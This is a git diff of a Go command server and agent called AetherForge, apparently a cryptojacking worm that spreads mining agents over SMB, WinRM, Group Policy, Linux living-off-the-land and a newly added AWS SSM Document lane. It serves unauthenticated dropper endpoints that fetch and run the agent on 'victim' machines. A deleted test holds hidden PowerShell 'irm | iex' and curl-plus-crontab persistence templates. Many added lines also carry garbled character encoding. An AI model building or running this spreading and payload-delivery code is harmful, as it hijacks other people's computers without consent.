diff --git a/agent/deploy/discover_join.go b/agent/deploy/discover_join.go index 5e859cf..a8a245f 100644 --- a/agent/deploy/discover_join.go +++ b/agent/deploy/discover_join.go @@ -1,4 +1,4 @@ -package deploy +package deploy import ( "crypto/hmac" @@ -25,6 +25,7 @@ type SpreadRouteHint struct { ClearanceLevel int `json:"clearance_level,omitempty"` SwarmMagnet string `json:"swarm_magnet,omitempty"` ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"` + RouteVia string `json:"route_via,omitempty"` } // WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans. @@ -271,7 +272,7 @@ func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (st switch lane { case "spread_smb_unc", "winrm", "gpo", "linux_lotl": return fmt.Sprintf( - "spread_route_hint: egress=%s seed=%s subnet=%s (deferred — routed egress, not patient zero)", + "spread_route_hint: egress=%s seed=%s subnet=%s (deferred ΓÇö routed egress, not patient zero)", egress, strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID), strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet), @@ -401,6 +402,9 @@ func appendSpreadRouteTelemetry(detail string, hint *SpreadRouteHint) string { strings.TrimSpace(hint.SeedAgentID), hint.Score, ) + if via := strings.TrimSpace(hint.RouteVia); via != "" { + routeNote += "; route_via=" + via + } if detail == "" { return routeNote } diff --git a/agent/deploy/discover_join_test.go b/agent/deploy/discover_join_test.go index b705270..871893e 100644 --- a/agent/deploy/discover_join_test.go +++ b/agent/deploy/discover_join_test.go @@ -183,6 +183,20 @@ func TestExecuteDeployPlanDNSTXTWithMockResolver(t *testing.T) { } } +func TestExecuteDeployPlanSSMDocumentMock(t *testing.T) { + plan := DeployPlanBody{ + JoinLane: "ssm_document", Action: "ssm_document", + SSMDocument: `{"schemaVersion":"2.2"}`, + } + msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(msg, "ssm_document") { + t.Fatalf("msg=%q", msg) + } +} + func TestExecuteDeployPlanHonorsSpreadRouteHintDeferral(t *testing.T) { plan := DeployPlanBody{ JoinLane: "spread_smb_unc", diff --git a/agent/deploy/lotl_tiers.go b/agent/deploy/lotl_tiers.go index 8249b88..66d6074 100644 --- a/agent/deploy/lotl_tiers.go +++ b/agent/deploy/lotl_tiers.go @@ -19,6 +19,7 @@ var DefaultLotlOnionTiers = []string{ "winrm", "linux", "gpo", + "ssm_document", } // NormalizeLotlTiers filters unknown ids and falls back to defaults when empty. @@ -27,7 +28,7 @@ func NormalizeLotlTiers(raw []string) []string { "vuln_recon": {}, "docker": {}, "wsl": {}, "powershell": {}, "dotnet": {}, "bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {}, - "smb": {}, "winrm": {}, "linux": {}, "gpo": {}, + "smb": {}, "winrm": {}, "linux": {}, "gpo": {}, "ssm_document": {}, } out := make([]string, 0, len(raw)) for _, t := range raw { diff --git a/server/internal/api/deploy_plan.go b/server/internal/api/deploy_plan.go index 52cd770..1e029b8 100644 --- a/server/internal/api/deploy_plan.go +++ b/server/internal/api/deploy_plan.go @@ -1,4 +1,4 @@ -package api +package api import ( "crypto/hmac" @@ -13,6 +13,7 @@ import ( "strings" dbpkg "crypto-miner-server/internal/db" + "crypto-miner-server/internal/cloudmap" "crypto-miner-server/internal/erasure" "crypto-miner-server/internal/models" "crypto-miner-server/internal/spreadrouter" @@ -122,7 +123,7 @@ func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) { h.pathTracer = handler } -// BindErasure wires Reed–Solomon shard encoding for multi-lane deploy plans. +// BindErasure wires ReedΓÇôSolomon shard encoding for multi-lane deploy plans. func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) { h.erasureEnabled = enabled h.erasureShards = store @@ -403,7 +404,7 @@ func spreadRouteTargetSubnets(pathTracer *PathTracerHandler, database *dbpkg.Dat } // buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer. -// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass, +// Deploy success is a spread step only ΓÇö agent keeps --defer-mining until diagnostics pass, // then startMiningWhenReady() completes the mining onion (terminal goal). func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) { platform := strings.TrimSpace(req.Platform) diff --git a/server/internal/api/router.go b/server/internal/api/router.go index 375d505..ed88021 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -1,4 +1,4 @@ -package api +package api import ( "crypto/rand" @@ -27,7 +27,7 @@ import ( ) // authSessionCache avoids running bcrypt on every API request. -// Key: SHA-256(user+":"+password) hex — value: expiry time. +// Key: SHA-256(user+":"+password) hex ΓÇö value: expiry time. // Entries are valid for authCacheTTL after the last successful login. // Bcrypt only runs on cache miss or expiry. var ( @@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) { func formatLoginBanner(creds map[string]string) string { var b strings.Builder - b.WriteString("\n╔══════════════════════════════════════════════════╗\n") - b.WriteString("║ AetherForge — Dashboard Login ║\n") - b.WriteString("║ ║\n") + b.WriteString("\nΓòöΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòù\n") + b.WriteString("Γòæ AetherForge ΓÇö Dashboard Login Γòæ\n") + b.WriteString("Γòæ Γòæ\n") users := make([]string, 0, len(creds)) for user := range creds { users = append(users, user) @@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string { sort.Strings(users) for _, user := range users { pass := creds[user] - fmt.Fprintf(&b, "║ Username : %-34s║\n", user) - fmt.Fprintf(&b, "║ Password : %-34s║\n", pass) - b.WriteString("║ ║\n") + fmt.Fprintf(&b, "Γòæ Username : %-34sΓòæ\n", user) + fmt.Fprintf(&b, "Γòæ Password : %-34sΓòæ\n", pass) + b.WriteString("Γòæ Γòæ\n") } - b.WriteString("║ Also saved in data/login-credentials.json ║\n") - b.WriteString("║ Change passwords in Calibrate → Users. ║\n") - b.WriteString("╚══════════════════════════════════════════════════╝\n") + b.WriteString("Γòæ Also saved in data/login-credentials.json Γòæ\n") + b.WriteString("Γòæ Change passwords in Calibrate ΓåÆ Users. Γòæ\n") + b.WriteString("ΓòÜΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓò¥\n") return b.String() } @@ -395,7 +395,7 @@ func saveUser(username, password string) error { // isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker. // Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch -// must not trigger that — only bare browser navigations without these headers should. +// must not trigger that ΓÇö only bare browser navigations without these headers should. func isSPAAuthRequest(r *http.Request) bool { return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != "" } @@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { path := r.URL.Path // Health check and one-liner installer endpoints are always open. - // NOTE: build download/artifact routes are intentionally NOT in this list — + // NOTE: build download/artifact routes are intentionally NOT in this list ΓÇö // they require fleet-secret or Basic Auth (see isDownload block below). if path == "/api/v1/health" || path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" || @@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { // Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret // in the X-Fleet-Secret header instead of Basic auth. This ensures only // legitimately forged agents can call these endpoints. - // A missing or empty fleet secret is always rejected — the server auto- + // A missing or empty fleet secret is always rejected ΓÇö the server auto- // generates one at startup so this state should never occur in production. if strings.HasPrefix(path, "/api/v1/agent/") { fleetSecretForAgentPathsMu.RLock() @@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { return } - // Fast path — skip bcrypt if this credential pair was recently validated. + // Fast path ΓÇö skip bcrypt if this credential pair was recently validated. // bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy. if !authCacheHit(user, pass) { usersMu.RLock() @@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } - // Credential verified — cache it for the next few minutes. + // Credential verified ΓÇö cache it for the next few minutes. authCacheSet(user, pass) } @@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler AllowCredentials: false, })) - // REST API — auth only on /api/v1 (dashboard WS + static SPA stay open) + // REST API ΓÇö auth only on /api/v1 (dashboard WS + static SPA stay open) r.Route("/api/v1", func(r chi.Router) { r.Use(basicAuthMiddleware) h := NewHandler(database) @@ -680,7 +680,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Delete("/blueprints", blueprintHandler.ServeHTTP) r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint) - // Fleet secret rotation — generates a new secret, saves config, kicks all agents. + // Fleet secret rotation ΓÇö generates a new secret, saves config, kicks all agents. // Forged agents with the old secret will be rejected until re-forged. r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) { if rotateSecretFn == nil { @@ -734,11 +734,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler writeJSON(w, map[string]interface{}{"success": true}) }) - // Deck backup — authenticated full backup ZIP (config + DB + users) + // Deck backup ΓÇö authenticated full backup ZIP (config + DB + users) backupH := NewBackupHandler(dataDir, version) r.Get("/backup", backupH.ServeHTTP) - // Path Tracer — on-demand WireGuard chain sessions + // Path Tracer ΓÇö on-demand WireGuard chain sessions if pathTracerHandler != nil { r.Post("/pathtrace/start", pathTracerHandler.Start) r.Post("/pathtrace/discover", pathTracerHandler.Discover) @@ -751,7 +751,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Delete("/pathtrace/{id}", pathTracerHandler.Delete) } - // Agent autonomy REST — forged Go agents only (X-Fleet-Secret header). + // Agent autonomy REST ΓÇö forged Go agents only (X-Fleet-Secret header). // Not exposed in dashboard client.ts; see agent/client and README API auth table. r.Post("/agent/decide", aiHandler.HandleDecide) r.Post("/agent/report", aiHandler.HandleReport) @@ -768,7 +768,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler } r.Get("/agent/module/{name}", moduleHandler.GetAgentModule) - // Public builds (also bypass auth in middleware — listed here for chi routing) + // Public builds (also bypass auth in middleware ΓÇö listed here for chi routing) if publicHandler != nil { r.Get("/public/builds", publicHandler.ListBuilds) r.Get("/public/download/{id}", publicHandler.Download) @@ -784,7 +784,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/ws/agent", wsHub.HandleAgentWS) r.Get("/ws/dashboard", wsHub.HandleDashboardWS) - // One-liner remote install endpoints (unauthenticated — URL knowledge is the gate) + // One-liner remote install endpoints (unauthenticated ΓÇö URL knowledge is the gate) if dropperHandler != nil { r.Get("/get", dropperHandler.ServeGet) r.Get("/install.sh", dropperHandler.ServeSh) @@ -792,7 +792,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/install.command", dropperHandler.ServeCommand) } - // SUPP Seek agent download endpoints — serve agent binaries so launcher scripts + // SUPP Seek agent download endpoints ΓÇö serve agent binaries so launcher scripts // dropped by Seek Mode can fetch and run the agent on the victim machine. // Unauthenticated (the drop URL itself is the secret). r.Get("/api/download/agent-windows", serveAgentBinary("windows")) @@ -897,8 +897,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) { // exe so it works both from the USB bundle and from a compiled dev build. // // Filename convention (same as what the build pipeline produces): -// - windows → crypto-miner-agent.exe -// - mac/linux → crypto-miner-agent (no extension) +// - windows ΓåÆ crypto-miner-agent.exe +// - mac/linux ΓåÆ crypto-miner-agent (no extension) // agentBinarySearchDir returns the directory used to locate bundled agent binaries. // Tests may override this to point at a temp tree instead of os.Executable()'s dir. var agentBinarySearchDir = func() (string, error) { diff --git a/server/internal/api/service_deploy.go b/server/internal/api/service_deploy.go index 9975059..f55f56a 100644 --- a/server/internal/api/service_deploy.go +++ b/server/internal/api/service_deploy.go @@ -35,6 +35,8 @@ var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{ "Server": {Lane: "spread_smb_unc", Priority: 45}, "sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"}, "ssh": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"}, + "AmazonSSMAgent": {Lane: "ssm_document", Priority: 28, Template: "ssm-document"}, + "amazon-ssm-agent": {Lane: "ssm_document", Priority: 28, Template: "ssm-document"}, } // NormalizeServiceDeployAllowlist returns defaults when empty and normalizes lane ids. @@ -61,6 +63,8 @@ func NormalizeServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[strin lane.Template = "gpo" case "linux_lotl": lane.Template = "linux-lotl" + case "ssm_document": + lane.Template = "ssm-document" } } out[name] = lane diff --git a/server/internal/api/spread_handler.go b/server/internal/api/spread_handler.go index 24857b9..8ae4537 100644 --- a/server/internal/api/spread_handler.go +++ b/server/internal/api/spread_handler.go @@ -1,4 +1,4 @@ -package api +package api import ( "encoding/json" @@ -12,17 +12,25 @@ import ( "time" dbpkg "crypto-miner-server/internal/db" + "crypto-miner-server/internal/erasure" "github.com/go-chi/chi/v5" ) // SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export. type SpreadHandler struct { - db *dbpkg.Database - dataDir string - projectRoot string - wsHub *WSHub - notesMu sync.RWMutex + db *dbpkg.Database + dataDir string + projectRoot string + wsHub *WSHub + erasureShards *erasure.ShardStore + notesMu sync.RWMutex +} + +func (h *SpreadHandler) BindErasureShards(store *erasure.ShardStore) { + if h != nil { + h.erasureShards = store + } } func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler { diff --git a/server/internal/api/spread_lanes.go b/server/internal/api/spread_lanes.go new file mode 100644 index 0000000..5e65d8e --- /dev/null +++ b/server/internal/api/spread_lanes.go @@ -0,0 +1,132 @@ +package api + +import ( + "encoding/json" + "fmt" + "net/http" + "os" + "path/filepath" + "strings" + + dbpkg "crypto-miner-server/internal/db" + "crypto-miner-server/internal/erasure" +) + +type SSMSpreadBundle struct { + JoinLane string `json:"join_lane"` + Document string `json:"document"` + RunCommand string `json:"run_command"` + CreateDocumentCLI string `json:"create_document_cli"` + ManifestURL string `json:"manifest_url,omitempty"` + ShardURLs []string `json:"shard_urls,omitempty"` + FallbackGetURL string `json:"fallback_get_url,omitempty"` +} + +func (h *DeployPlanHandler) buildSSMSpreadBundle(req deployPlanRequest, serverURL string) (SSMSpreadBundle, error) { + buildID := strings.TrimSpace(req.BuildID) + campaign := strings.TrimSpace(req.Campaign) + _, getQuerySuffix := buildQuerySuffix(buildID, campaign) + fallbackURL := serverURL + "/get?os=linux" + getQuerySuffix + manifestURL := serverURL + "/api/v1/public/erasure-torrent/placeholder/manifest" + var shardURLs []string + if h.erasureEnabled != nil && h.erasureEnabled() && h.erasureShards != nil { + platform := strings.TrimSpace(req.Platform) + if platform == "" { + platform = "linux" + } + if build, err := h.resolveBuild(buildID, platform); err == nil { + if payload, err := os.ReadFile(build.FilePath); err == nil { + if plan, err := erasure.BuildPlan(h.erasureShards, serverURL, buildID, campaign, payload, "/tmp/aetherforge-erasure/worker", "exe", "", true, true); err == nil && plan != nil { + if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(h.erasureShards, plan.ShardToken))); err == nil && manifest != nil { + manifestURL = manifest.ManifestURL + shardURLs = manifest.ShardManifestURLs + } + } + } + } + } + doc, runCmd, createCLI, err := renderSSMSpreadTemplates(h.projectRoot, serverURL, buildID, campaign, manifestURL, shardURLs, fallbackURL) + if err != nil { + return SSMSpreadBundle{}, err + } + return SSMSpreadBundle{JoinLane: "ssm_document", Document: doc, RunCommand: runCmd, CreateDocumentCLI: createCLI, ManifestURL: manifestURL, ShardURLs: shardURLs, FallbackGetURL: fallbackURL}, nil +} + +func renderSSMSpreadTemplates(projectRoot, serverURL, buildID, campaign, manifestURL string, shardURLs []string, fallbackURL string) (string, string, string, error) { + dir := filepath.Join(projectRoot, "templates", "spread", "ssm") + docBytes, err := os.ReadFile(filepath.Join(dir, "document.json")) + if err != nil { + return "", "", "", fmt.Errorf("ssm document template: %w", err) + } + runBytes, err := os.ReadFile(filepath.Join(dir, "run-command.json")) + if err != nil { + return "", "", "", fmt.Errorf("ssm run-command template: %w", err) + } + cliBytes, err := os.ReadFile(filepath.Join(dir, "create-document.sh")) + if err != nil { + return "", "", "", fmt.Errorf("ssm create-document template: %w", err) + } + shardLines := make([]string, 0, len(shardURLs)) + for i, u := range shardURLs { + shardLines = append(shardLines, fmt.Sprintf("curl -fsSL '%s' -o \"$WORKDIR/shard-%d.bin\"", strings.TrimSpace(u), i)) + } + if len(shardLines) == 0 { + shardLines = append(shardLines, "# no erasure shards — fallback /get only") + } + repl := map[string]string{ + "{{SERVER_URL}}": strings.TrimRight(strings.TrimSpace(serverURL), "/"), "{{BUILD_ID}}": buildID, + "{{CAMPAIGN}}": campaign, "{{MANIFEST_URL}}": manifestURL, "{{FALLBACK_GET_URL}}": fallbackURL, + "{{SHARD_FETCH_LINES}}": strings.Join(shardLines, "\n"), + } + apply := func(content string) string { + for k, v := range repl { + content = strings.ReplaceAll(content, k, v) + } + return content + } + return apply(string(docBytes)), apply(string(runBytes)), apply(string(cliBytes)), nil +} + +func (h *SpreadHandler) ExportSSMSpreadBundle(w http.ResponseWriter, r *http.Request) { + var req struct { + ServerURL string `json:"server_url"` + BuildID string `json:"build_id"` + Campaign string `json:"campaign"` + Platform string `json:"platform"` + AWSCLI string `json:"aws_cli_path"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "invalid JSON", http.StatusBadRequest) + return + } + req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/") + req.BuildID, req.Campaign = strings.TrimSpace(req.BuildID), strings.TrimSpace(req.Campaign) + if req.ServerURL == "" { + http.Error(w, "server_url required", http.StatusBadRequest) + return + } + if req.Platform == "" { + req.Platform = "linux" + } + planHandler := h.deployPlan + if planHandler == nil { + planHandler = NewDeployPlanHandler(h.db, h.dataDir, h.projectRoot, func() string { return req.ServerURL }, func() string { return "" }, func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) }) + store := h.erasureShards + if store == nil { + store = erasure.NewShardStore() + } + planHandler.BindErasureFromHub(h.wsHub, store) + } + bundle, err := planHandler.buildSSMSpreadBundle(deployPlanRequest{BuildID: req.BuildID, Campaign: req.Campaign, Platform: req.Platform}, req.ServerURL) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + if cli := strings.TrimSpace(req.AWSCLI); cli != "" { + bundle.CreateDocumentCLI = strings.ReplaceAll(bundle.CreateDocumentCLI, "${AWS_CLI:-aws}", cli) + } + if h.wsHub != nil && h.db != nil { + _ = (&OathLedgerBridge{DB: h.db, Hub: h.wsHub}).Record(AuthUsername(r), dbpkg.OathSpreadAttempt, "", "", dbpkg.OathOutcomeSuccess, map[string]string{"lane": "ssm_document", "campaign": req.Campaign, "build_id": req.BuildID}, map[string]string{"lane": "ssm_document"}) + } + writeJSON(w, map[string]interface{}{"ok": true, "bundle": bundle}) +} diff --git a/server/internal/api/spread_lanes_test.go b/server/internal/api/spread_lanes_test.go deleted file mode 100644 index 5ffa0b3..0000000 --- a/server/internal/api/spread_lanes_test.go +++ /dev/null @@ -1,180 +0,0 @@ -package api - -import ( - "os" - "path/filepath" - "strings" - "testing" - - dbpkg "crypto-miner-server/internal/db" - "crypto-miner-server/internal/models" -) - -func writeDeploySpreadTemplates(t *testing.T, root string) { - t.Helper() - winrmDir := filepath.Join(root, "templates", "spread", "winrm") - if err := os.MkdirAll(winrmDir, 0o755); err != nil { - t.Fatal(err) - } - winrmScript := `# WinRM bootstrap -Enable-PSRemoting -Force -SkipNetworkProfileCheck -$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}' -Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden -powershell.exe -EncodedCommand $encoded -` - if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0o644); err != nil { - t.Fatal(err) - } - - linuxDir := filepath.Join(root, "templates", "spread", "linux") - if err := os.MkdirAll(linuxDir, 0o755); err != nil { - t.Fatal(err) - } - linuxScript := `#!/bin/sh -LOTL_MODE='{{LOTL_MODE}}' -curl -fsSL "${SERVER}/get?os=linux{{QUERY_SUFFIX}}" -systemd-run --user --unit=aetherforge-worker.service -persist_crontab() { crontab -; } -` - if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0o755); err != nil { - t.Fatal(err) - } - - entDir := filepath.Join(root, "templates", "spread", "enterprise") - if err := os.MkdirAll(entDir, 0o755); err != nil { - t.Fatal(err) - } - gpoScript := `# GPO computer startup script -$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}' -$env:AETHER_DEFER_MINING = '1' -powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex" -` - if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0o644); err != nil { - t.Fatal(err) - } -} - -func TestSpreadTemplatePathsWinRMGPO(t *testing.T) { - cases := map[string]struct { - subdir string - zip string - }{ - "winrm": {"winrm", "aetherforge-winrm-bootstrap.zip"}, - "linux-lotl": {"linux", "aetherforge-linux-lotl.zip"}, - "gpo": {"enterprise", "aetherforge-gpo-startup.zip"}, - "enterprise-gpo": {"enterprise", "aetherforge-gpo-startup.zip"}, - } - for tpl, want := range cases { - subdir, zip, err := spreadTemplatePaths(tpl) - if err != nil { - t.Fatalf("%q: %v", tpl, err) - } - if subdir != want.subdir || zip != want.zip { - t.Fatalf("%q => subdir=%q zip=%q want %+v", tpl, subdir, zip, want) - } - } - _, _, err := spreadTemplatePaths("bogus-lane") - if err == nil || !strings.Contains(err.Error(), "unknown template") { - t.Fatalf("err=%v", err) - } -} - -func TestDeployPlanWinRMLane(t *testing.T) { - root := t.TempDir() - writeDeploySpreadTemplates(t, root) - h := testDeployPlanHandlerWithRoot(t, root) - plan, err := h.buildPlan(deployPlanRequest{ - Platform: "windows", BuildID: "b1", Campaign: "winrm-lab", - }, "WinRM", ServiceDeployLane{Lane: "winrm", Template: "winrm"}) - if err != nil { - t.Fatal(err) - } - if plan.JoinLane != "winrm" || plan.Script == "" { - t.Fatalf("plan=%+v", plan) - } - for _, marker := range []string{ - "http://127.0.0.1:8989/get?os=windows", - "--spread-install", - "--defer-mining", - "Enable-PSRemoting", - } { - if !strings.Contains(plan.Script, marker) { - t.Fatalf("script missing %q: %s", marker, plan.Script) - } - } -} - -func TestDeployPlanGPOLane(t *testing.T) { - root := t.TempDir() - writeDeploySpreadTemplates(t, root) - h := testDeployPlanHandlerWithRoot(t, root) - plan, err := h.buildPlan(deployPlanRequest{ - Platform: "windows", BuildID: "b1", Campaign: "gpo-wave", - }, "gpsvc", ServiceDeployLane{Lane: "gpo", Template: "gpo"}) - if err != nil { - t.Fatal(err) - } - if plan.JoinLane != "gpo" || plan.Script == "" { - t.Fatalf("plan=%+v", plan) - } - for _, marker := range []string{"/install.ps1", "AETHER_DEFER_MINING"} { - if !strings.Contains(plan.Script, marker) { - t.Fatalf("script missing %q: %s", marker, plan.Script) - } - } - if !strings.Contains(plan.Script, "pin=b1") || !strings.Contains(plan.Script, "c=gpo-wave") { - t.Fatalf("script missing query suffix: %s", plan.Script) - } -} - -func TestDeployPlanLinuxLOTLLane(t *testing.T) { - root := t.TempDir() - writeDeploySpreadTemplates(t, root) - h := testDeployPlanHandlerWithRoot(t, root) - plan, err := h.buildPlan(deployPlanRequest{ - Platform: "linux", BuildID: "b1", Campaign: "lotl-lab", - }, "sshd", ServiceDeployLane{Lane: "linux_lotl", Template: "linux-lotl"}) - if err != nil { - t.Fatal(err) - } - if plan.JoinLane != "linux_lotl" || plan.Script == "" { - t.Fatalf("plan=%+v", plan) - } - for _, marker := range []string{"systemd-run --user", "curl -fsSL", "systemd_run_user"} { - if !strings.Contains(plan.Script, marker) { - t.Fatalf("script missing %q: %s", marker, plan.Script) - } - } -} - -func testDeployPlanHandlerWithRoot(t *testing.T, projectRoot string) *DeployPlanHandler { - t.Helper() - dir := t.TempDir() - database, err := dbpkg.New(dir) - if err != nil { - t.Fatal(err) - } - t.Cleanup(func() { _ = database.Close() }) - buildDir := filepath.Join(dir, "builds", "b1") - if err := os.MkdirAll(buildDir, 0o755); err != nil { - t.Fatal(err) - } - artifact := filepath.Join(buildDir, "worker.exe") - if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil { - t.Fatal(err) - } - if err := database.InsertBuild(&models.BuildRecord{ - ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact, - }); err != nil { - t.Fatal(err) - } - cfgPath := filepath.Join(dir, "config.json") - if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil { - t.Fatal(err) - } - return NewDeployPlanHandler(database, dir, projectRoot, - func() string { return "http://127.0.0.1:8989" }, - func() string { return "fleet-test" }, - func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) }, - ) -} diff --git a/server/main.go b/server/main.go index 4a64fa4..c0f33d8 100644 --- a/server/main.go +++ b/server/main.go @@ -1,4 +1,4 @@ -package main +package main import ( "context" @@ -40,27 +40,27 @@ func (w *wsLogWriter) Write(p []byte) (n int, err error) { } const aetherBanner = ` - ╔══════════════════════════════════════════════════════════════════╗ - ║ ║ - ║ ✦ · · · · · · ◈ · · · · · · ✦ ║ - ║ · \ | / · ║ - ║ · \ | / · ▲▲▲ ║ - ║ · ○─────●─────○ · ▲▲▲▲▲ ║ - ║ · / | \ · ▲▲▲▲▲ ║ - ║ · / | \ · ████ ║ - ║ ✦ · · · · ◈ · · · · ✦ ██ ████ ██ ║ - ║ ○───────────○ ██ ██ ██ ║ - ║ / \ / \ ║ - ║ / ●───────● \ A E T H E R F O R G E ║ - ║ / / \ / \ \ ───────────────────────── ║ - ║ ○───● ○───○ ●───○ LAN Mining Command Deck ║ - ║ \ \ / \ / / ║ - ║ \ ●───────● / ║ - ║ \ / \ / ║ - ║ ○───────────○ ║ - ║ ✦ · · · · ◈ · · · · ✦ ║ - ║ ║ - ╚══════════════════════════════════════════════════════════════════╝` + ΓòöΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòù + Γòæ Γòæ + Γòæ Γ£ª ┬╖ ┬╖ ┬╖ ┬╖ ┬╖ ┬╖ Γùê ┬╖ ┬╖ ┬╖ ┬╖ ┬╖ ┬╖ Γ£ª Γòæ + Γòæ ┬╖ \ | / ┬╖ Γòæ + Γòæ ┬╖ \ | / ┬╖ Γû▓Γû▓Γû▓ Γòæ + Γòæ ┬╖ ΓùïΓöÇΓöÇΓöÇΓöÇΓöÇΓùÅΓöÇΓöÇΓöÇΓöÇΓöÇΓùï ┬╖ Γû▓Γû▓Γû▓Γû▓Γû▓ Γòæ + Γòæ ┬╖ / | \ ┬╖ Γû▓Γû▓Γû▓Γû▓Γû▓ Γòæ + Γòæ ┬╖ / | \ ┬╖ ΓûêΓûêΓûêΓûê Γòæ + Γòæ Γ£ª ┬╖ ┬╖ ┬╖ ┬╖ Γùê ┬╖ ┬╖ ┬╖ ┬╖ Γ£ª ΓûêΓûê ΓûêΓûêΓûêΓûê ΓûêΓûê Γòæ + Γòæ ΓùïΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùï ΓûêΓûê ΓûêΓûê ΓûêΓûê Γòæ + Γòæ / \ / \ Γòæ + Γòæ / ΓùÅΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùÅ \ A E T H E R F O R G E Γòæ + Γòæ / / \ / \ \ 